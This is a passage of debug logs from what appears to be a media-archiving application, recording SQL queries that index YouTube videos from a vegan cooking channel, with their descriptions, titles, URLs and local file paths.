algorithm!\n\nFollow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by MDMN - Love Angel - https://thmatc.co/?l=DEDD959C\nMusic by HONÜ - Kaloli - https://thmatc.co/?l=27419010\nMusic by Daniel Mahardika - Blurred Cages - https://thmatc.co/?l=45659BE2\nMusic by ninjoi. - Sakana - https://thmatc.co/?l=601F4A59", "PEKO PRODUCE REVIEW! Vancouver's first 'imperfect' produce delivery service | Is it worth the money?", "b8724090-4cfa-415c-9130-8159b8a7cd53", 1, [], false, "xxm7TSIekSo", "https://www.youtube.com/watch?v=xxm7TSIekSo", 379, "/downloads/downloads/alec/Steamy Vegan/2022-01-05 PEKO PRODUCE REVIEW! Vancouver's first 'imperfect' produce delivery service | Is it worth the money?/PEKO PRODUCE REVIEW! Vancouver's first 'imperfect' produce delivery service | Is it worth the money? [xxm7TSIekSo].NA", false, false, false, 1, ~U[2022-01-05 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I ordered my first box of 'imperfect' produce from Peko Produce! They are Vancouver's first produce delivery service of 'peculiar', imperfect and surplus produce that would otherwise end up in our landfills.\n\nWant to save 40% off your first order with Peko Produce? I have a link for you ⬇️ pekoproduce.com/SVK4023\nOR use promo code SVK4023 at checkout!\n\nIn summary: I'M A FAN! I've been wanting to order from a company like this for a while, but never knew Peko existed! I'm always jazzed to support a local Vancouver business that shares similar values to mine so ordering a box of produce was a total NO BRAINER.\n\nIf you're passionate about sustainable living like me and you happen to reside in the Lower/Metro Vancouver area of BC, Canada, you should check this company out! As a plant-based eater, I'm constantly purchasing fresh fruits and veggies on a more-than-weekly basis, so getting a box of 'ugly' produce (that's still perfectly good to eat!) delivered straight to my door for only $25 per box... is this even real life?! :)\n\nPeko promises that you'll save up to 40% off your produce compared to retail prices - that's pretty awesome. Are you convinced yet?\n\nCheck them out here: www.pekoproduce.com\n\nI hope this review was helpful to you! If you enjoyed this video, please give it a THUMBS UP! Subscribing to my channel would also be a huge plus.... help me beat the algorithm!\n\nFollow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by MDMN - Love Angel - https://thmatc.co/?l=DEDD959C\nMusic by HONÜ - Kaloli - https://thmatc.co/?l=27419010\nMusic by Daniel Mahardika - Blurred Cages - https://thmatc.co/?l=45659BE2\nMusic by ninjoi. - Sakana - https://thmatc.co/?l=601F4A59", "PEKO PRODUCE REVIEW! Vancouver's first 'imperfect' produce delivery service | Is it worth the money?", 1, nil, false, "xxm7TSIekSo", "https://www.youtube.com/watch?v=xxm7TSIekSo", "/downloads/downloads/alec/Steamy Vegan/2022-01-05 PEKO PRODUCE REVIEW! Vancouver's first 'imperfect' produce delivery service | Is it worth the money?/PEKO PRODUCE REVIEW! Vancouver's first 'imperfect' produce delivery service | Is it worth the money? [xxm7TSIekSo].NA", false, ~U[2022-01-05 00:00:00Z]] 20:31:08.763 [debug] QUERY OK source="sources" db=0.7ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.765 [debug] QUERY OK source="media_items" db=2.0ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-12-17 00:00:00Z], 1] 20:31:08.767 [debug] QUERY OK source="media_items" db=1.3ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These quick & easy holiday oatmeal recipes are sure to spice up your Christmas morning! Creamy & Nutty Spiced Oats and Classic Gingerbread oats have become some of my favourite breakfasts this winter season. The best part? They're vegan, gluten-free and only take 15 minutes to whip up! \n\nI hope you enjoy these recipes, and have a very Merry Christmas and Happy New Year!\n\nCheck out my blog post for the full recipes + instructions!\n\nCREAMY & NUTTY SPICED OATS: https://steamyvegan.com/creamy-nutty-...\nCLASSIC GINGERBREAD OATS: https://steamyvegan.com/gingerbread-o...\n\nWant more holiday recipes? These other recipes might interest you!\nCANDY CANE SHORTBREAD: https://steamyvegan.com/candy-cane-sh...\nWELSH TEA CAKES: https://steamyvegan.com/welsh-tea-cakes/\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: https://steamyvegan.com/pumpkin-spice...\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Reggie San Miguel - Snowfall - https://thmatc.co/?l=444A4689", "Quick & Easy Holiday Oatmeal | Vegan & Gluten-Free! 15-minute delicious Christmas breakfasts!", "296b9ab3-d294-4598-b9d9-58b7598eac14", 1, [], false, "gmz3tAcd-d4", "https://www.youtube.com/watch?v=gmz3tAcd-d4", 380, "/downloads/downloads/alec/Steamy Vegan/2021-12-17 Quick & Easy Holiday Oatmeal | Vegan & Gluten-Free! 15-minute delicious Christmas breakfasts!/Quick & Easy Holiday Oatmeal | Vegan & Gluten-Free! 15-minute delicious Christmas breakfasts! [gmz3tAcd-d4].NA", false, false, false, 1, ~U[2021-12-17 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "These quick & easy holiday oatmeal recipes are sure to spice up your Christmas morning! Creamy & Nutty Spiced Oats and Classic Gingerbread oats have become some of my favourite breakfasts this winter season. The best part? They're vegan, gluten-free and only take 15 minutes to whip up! \n\nI hope you enjoy these recipes, and have a very Merry Christmas and Happy New Year!\n\nCheck out my blog post for the full recipes + instructions!\n\nCREAMY & NUTTY SPICED OATS: https://steamyvegan.com/creamy-nutty-...\nCLASSIC GINGERBREAD OATS: https://steamyvegan.com/gingerbread-o...\n\nWant more holiday recipes? These other recipes might interest you!\nCANDY CANE SHORTBREAD: https://steamyvegan.com/candy-cane-sh...\nWELSH TEA CAKES: https://steamyvegan.com/welsh-tea-cakes/\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: https://steamyvegan.com/pumpkin-spice...\n\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \n\nMusic by Reggie San Miguel - Snowfall - https://thmatc.co/?l=444A4689", "Quick & Easy Holiday Oatmeal | Vegan & Gluten-Free! 15-minute delicious Christmas breakfasts!", 1, nil, false, "gmz3tAcd-d4", "https://www.youtube.com/watch?v=gmz3tAcd-d4", "/downloads/downloads/alec/Steamy Vegan/2021-12-17 Quick & Easy Holiday Oatmeal | Vegan & Gluten-Free! 15-minute delicious Christmas breakfasts!/Quick & Easy Holiday Oatmeal | Vegan & Gluten-Free! 15-minute delicious Christmas breakfasts! [gmz3tAcd-d4].NA", false, ~U[2021-12-17 00:00:00Z]] 20:31:08.768 [debug] QUERY OK source="sources" db=0.7ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.770 [debug] QUERY OK source="media_items" db=1.7ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-12-12 00:00:00Z], 1] 20:31:08.771 [debug] QUERY OK source="media_items" db=0.8ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So it's your first Christmas being vegan and/or gluten-free and you're not sure what to make? Try these quick & easy holiday cookies! Candy cane shortbread and my grandma's famous Welsh tea cakes are a few of my favourite Christmas treats and I'm stoked to share them with you! \n\nCheck out the full recipe on my blog!\nLINK: https://steamyvegan.com/candy-cane-sh...\n\nWant more yummy treats? These other recipes might interest you!\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: https://steamyvegan.com/pumpkin-spice...\nCHOCOLATE AVOCADO CREAM PIE: https://steamyvegan.com/chocolate-avo...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Quick & Easy Holiday Cookies | Vegan & gluten-free Candy Cane Shortbread & grandma's Welsh Tea Cakes", "c2a0bbfb-c286-4e5f-9e95-af009a43bf49", 1, [], false, "wiKnlqxIqoA", "https://www.youtube.com/watch?v=wiKnlqxIqoA", 381, "/downloads/downloads/alec/Steamy Vegan/2021-12-12 Quick & Easy Holiday Cookies | Vegan & gluten-free Candy Cane Shortbread & grandma's Welsh Tea Cakes/Quick & Easy Holiday Cookies | Vegan & gluten-free Candy Cane Shortbread & grandma's Welsh Tea Cakes [wiKnlqxIqoA].NA", false, false, false, 1, ~U[2021-12-12 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "So it's your first Christmas being vegan and/or gluten-free and you're not sure what to make? Try these quick & easy holiday cookies! Candy cane shortbread and my grandma's famous Welsh tea cakes are a few of my favourite Christmas treats and I'm stoked to share them with you! \n\nCheck out the full recipe on my blog!\nLINK: https://steamyvegan.com/candy-cane-sh...\n\nWant more yummy treats? These other recipes might interest you!\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: https://steamyvegan.com/pumpkin-spice...\nCHOCOLATE AVOCADO CREAM PIE: https://steamyvegan.com/chocolate-avo...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Quick & Easy Holiday Cookies | Vegan & gluten-free Candy Cane Shortbread & grandma's Welsh Tea Cakes", 1, nil, false, "wiKnlqxIqoA", "https://www.youtube.com/watch?v=wiKnlqxIqoA", "/downloads/downloads/alec/Steamy Vegan/2021-12-12 Quick & Easy Holiday Cookies | Vegan & gluten-free Candy Cane Shortbread & grandma's Welsh Tea Cakes/Quick & Easy Holiday Cookies | Vegan & gluten-free Candy Cane Shortbread & grandma's Welsh Tea Cakes [wiKnlqxIqoA].NA", false, ~U[2021-12-12 00:00:00Z]] 20:31:08.772 [debug] QUERY OK source="sources" db=0.7ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.774 [debug] QUERY OK source="media_items" db=1.6ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-12-01 00:00:00Z], 1] 20:31:08.778 [debug] QUERY OK source="media_items" db=4.3ms idle=5.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you've ever been curious to know what groceries a vegan and gluten-free person (in Vancouver, Canada) buys on the regular, this one's for you! In this grocery haul we spent $235 at 3 different grocery stores.\n\nWhat do you think? Are we CRAZY for how much we spent on this haul, or are you SHOCKED by how much we got for our money? Let me know in the comments! \n\nWHERE WE SHOPPED:\nBulk Barn: https://www.bulkbarn.ca/home-en/\nReal Canadian Superstore: https://www.realcanadiansuperstore.ca\nNature's Fare Markets: https://www.naturesfare.com\n\nCheck out my blog for lots of easy-to-make, delicious recipes!\nLINK: https://steamyvegan.com\n\nWanna make some yummy fall meals? My most recent recipes might interest you!\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nBUTTERNUT BASIL TOMATO SOUP: \u00A0\u00A0\u00A0•\u00A0Dreamy\u00A0+\u00A0creamy\u00A0BUTTERNUT\u00A0BASIL\u00A0TOMATO\u00A0SOU...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\nIf you made any of my recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nIf you enjoyed this video, please LIKE it and SUBSCRIBE to my channel! I post new videos every week so hit that notifications bell to stay in the loop.\n\nMusic by Brooks - Boop Boop - https://thmatc.co/?l=19562E49\nMusic by Coodysan - Plain of High Heaven - https://thmatc.co/?l=F57433FD", "Our VEGAN + GLUTEN-FREE GROCERY HAUL! What we got + what we spent in Vancouver, Canada!", "ed8197dd-3485-4a1e-af38-dc22ee5e4485", 1, [], false, "1sIIrUuuHuU", "https://www.youtube.com/watch?v=1sIIrUuuHuU", 382, "/downloads/downloads/alec/Steamy Vegan/2021-12-01 Our VEGAN + GLUTEN-FREE GROCERY HAUL! What we got + what we spent in Vancouver, Canada!/Our VEGAN + GLUTEN-FREE GROCERY HAUL! What we got + what we spent in Vancouver, Canada! [1sIIrUuuHuU].NA", false, false, false, 1, ~U[2021-12-01 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "If you've ever been curious to know what groceries a vegan and gluten-free person (in Vancouver, Canada) buys on the regular, this one's for you! In this grocery haul we spent $235 at 3 different grocery stores.\n\nWhat do you think? Are we CRAZY for how much we spent on this haul, or are you SHOCKED by how much we got for our money? Let me know in the comments! \n\nWHERE WE SHOPPED:\nBulk Barn: https://www.bulkbarn.ca/home-en/\nReal Canadian Superstore: https://www.realcanadiansuperstore.ca\nNature's Fare Markets: https://www.naturesfare.com\n\nCheck out my blog for lots of easy-to-make, delicious recipes!\nLINK: https://steamyvegan.com\n\nWanna make some yummy fall meals? My most recent recipes might interest you!\nPUMPKIN SPICE CHOCOLATE CHIP MINI SCONES: \u00A0\u00A0\u00A0•\u00A0PUMPKIN\u00A0SPICE\u00A0CHOCOLATE\u00A0CHIP\u00A0MINI\u00A0SCONES\u00A0|...\u00A0\u00A0\nBUTTERNUT BASIL TOMATO SOUP: \u00A0\u00A0\u00A0•\u00A0Dreamy\u00A0+\u00A0creamy\u00A0BUTTERNUT\u00A0BASIL\u00A0TOMATO\u00A0SOU...\u00A0\u00A0\nROASTED CARROT, BEET & BRUSSELS SALAD: \u00A0\u00A0\u00A0•\u00A0ROASTED\u00A0CARROT,\u00A0BEET\u00A0&\u00A0BRUSSELS\u00A0SALAD\u00A0|\u00A0Si...\u00A0\u00A0\n\nIf you made any of my recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\n\nIf you enjoyed this video, please LIKE it and SUBSCRIBE to my channel! I post new videos every week so hit that notifications bell to stay in the loop.\n\nMusic by Brooks - Boop Boop - https://thmatc.co/?l=19562E49\nMusic by Coodysan - Plain of High Heaven - https://thmatc.co/?l=F57433FD", "Our VEGAN + GLUTEN-FREE GROCERY HAUL! What we got + what we spent in Vancouver, Canada!", 1, nil, false, "1sIIrUuuHuU", "https://www.youtube.com/watch?v=1sIIrUuuHuU", "/downloads/downloads/alec/Steamy Vegan/2021-12-01 Our VEGAN + GLUTEN-FREE GROCERY HAUL! What we got + what we spent in Vancouver, Canada!/Our VEGAN + GLUTEN-FREE GROCERY HAUL! What we got + what we spent in Vancouver, Canada! [1sIIrUuuHuU].NA", false, ~U[2021-12-01 00:00:00Z]] 20:31:08.779 [debug] QUERY OK source="sources" db=0.9ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.784 [debug] QUERY OK source="media_items" db=2.1ms idle=10.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-10-28 00:00:00Z], 1] 20:31:08.786 [debug] QUERY OK source="media_items" db=1.7ms idle=11.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're looking for an easy vegan & gluten-free treat to make this fall, make these Pumpkin Spice Chocolate Chip Mini Scones! 🧡 Another easy vegan recipe to add to your repertoire. \n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/pumpkin-spice... \n\nIf you liked this video don't forget to LIKE and SUBSCRIBE to \u202A@steamyvegan\u202C for more delish plant-based content! 😊\n\nNeed more PUMPKIN SPICE in your life? These other videos might interest you!\n3 Plant-Based Pumpkin Spice Breakfast Recipes: \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\n3 Savoury Pumpkin Spice Recipes You've GOTTA Try: \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\nMusic by ej hoffman - a onederpaul time - https://thmatc.co/?l=92AF5106\nMusic by Coodysan - Plain of High Heaven - https://thmatc.co/?l=F57433FD", "PUMPKIN SPICE CHOCOLATE CHIP MINI SCONES | Easy vegan & gluten-free recipe 🧡", "8f57c5a4-6ece-4406-9809-e256f0a82038", 1, [], false, "fIKNr_JzXIA", "https://www.youtube.com/watch?v=fIKNr_JzXIA", 383, "/downloads/downloads/alec/Steamy Vegan/2021-10-28 PUMPKIN SPICE CHOCOLATE CHIP MINI SCONES | Easy vegan & gluten-free recipe 🧡/PUMPKIN SPICE CHOCOLATE CHIP MINI SCONES | Easy vegan & gluten-free recipe 🧡 [fIKNr_JzXIA].NA", false, false, false, 1, ~U[2021-10-28 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "If you're looking for an easy vegan & gluten-free treat to make this fall, make these Pumpkin Spice Chocolate Chip Mini Scones! 🧡 Another easy vegan recipe to add to your repertoire. \n\nCheck out my blog post for the full recipe + instructions!\nLINK: https://steamyvegan.com/pumpkin-spice... \n\nIf you liked this video don't forget to LIKE and SUBSCRIBE to \u202A@steamyvegan\u202C for more delish plant-based content! 😊\n\nNeed more PUMPKIN SPICE in your life? These other videos might interest you!\n3 Plant-Based Pumpkin Spice Breakfast Recipes: \u00A0\u00A0\u00A0•\u00A0Plant-Based\u00A0Pumpkin\u00A0Spice\u00A0Breakfast\u00A0Recipe...\u00A0\u00A0\n3 Savoury Pumpkin Spice Recipes You've GOTTA Try: \u00A0\u00A0\u00A0•\u00A03\u00A0Savoury\u00A0Pumpkin\u00A0Spice\u00A0Recipes\u00A0You've\u00A0GOT...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st...\nMusic by ej hoffman - a onederpaul time - https://thmatc.co/?l=92AF5106\nMusic by Coodysan - Plain of High Heaven - https://thmatc.co/?l=F57433FD", "PUMPKIN SPICE CHOCOLATE CHIP MINI SCONES | Easy vegan & gluten-free recipe 🧡", 1, nil, false, "fIKNr_JzXIA", "https://www.youtube.com/watch?v=fIKNr_JzXIA", "/downloads/downloads/alec/Steamy Vegan/2021-10-28 PUMPKIN SPICE CHOCOLATE CHIP MINI SCONES | Easy vegan & gluten-free recipe 🧡/PUMPKIN SPICE CHOCOLATE CHIP MINI SCONES | Easy vegan & gluten-free recipe 🧡 [fIKNr_JzXIA].NA", false, ~U[2021-10-28 00:00:00Z]] 20:31:08.787 [debug] QUERY OK source="sources" db=1.0ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.789 